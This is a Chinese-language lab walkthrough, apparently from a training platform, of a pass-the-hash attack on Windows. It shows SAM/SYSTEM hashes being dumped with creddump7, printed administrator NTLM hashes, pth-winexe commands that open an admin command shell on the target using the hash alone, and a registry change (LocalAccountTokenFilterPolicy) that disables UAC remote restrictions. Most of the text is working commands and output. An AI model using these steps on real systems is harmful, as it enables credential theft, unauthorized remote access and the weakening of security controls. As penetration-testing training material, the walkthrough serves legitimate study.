既然可以使用哈希进行身份验证,为什么还要破解密码哈希?
winexe
winexe在kali里面自带,用于在linux平台连接windows机器
环境要求:开启文件共享,即smb服务;禁用UAC远程限制
将完整的管理员哈希与 pth-winexe 一起使用,以生成一个以管理员身份运行的 shell,而无需破解其密码。 请记住,完整哈希包括 LM 和 NTLM 哈希,以冒号分隔:
pth-winexe -U 'admin%hash' //10.10.252.146 cmd.exe
实操
运行对SAM和SYSTEM文件的工具提取管理员哈希
┌──(root㉿kali)-[~/桌面]
└─# python3 creddump7/pwdump.py SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
密码登录:
┌──(root㉿kali)-[~/桌面]
└─# pth-winexe -U 'admin%password123' //10.10.252.146 cmd.exe
E_md4hash wrapper called.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32>
支持ntlm hash直接登录:
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.252.146 cmd.exe
运行结果
┌──(root㉿kali)-[~/桌面]
└─# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.252.146 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32>
执行whoami
C:\\Windows\\system32>whoami
whoami
win-qba94kb3iof\\admin
C:\\Windows\\system32>
密码不正确
┌──(root㉿kali)-[~/桌面]
└─# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c:4b75ebc76dc855dd74f0da' //10.10.252.146 cmd.exe
E_md4hash wrapper called.
cli_credentials_failed_kerberos_login: krb5_cc_get_principal failed: No such file or directory
ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE
若报错
E_md4hash wrapper called.
ERROR: CreateService failed. NT_STATUS_ACCESS_DENIED.
则需要禁用UAC远程限制,在注册表HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System 添加DWORD项LocalAccountTokenFilterPolicy为1即可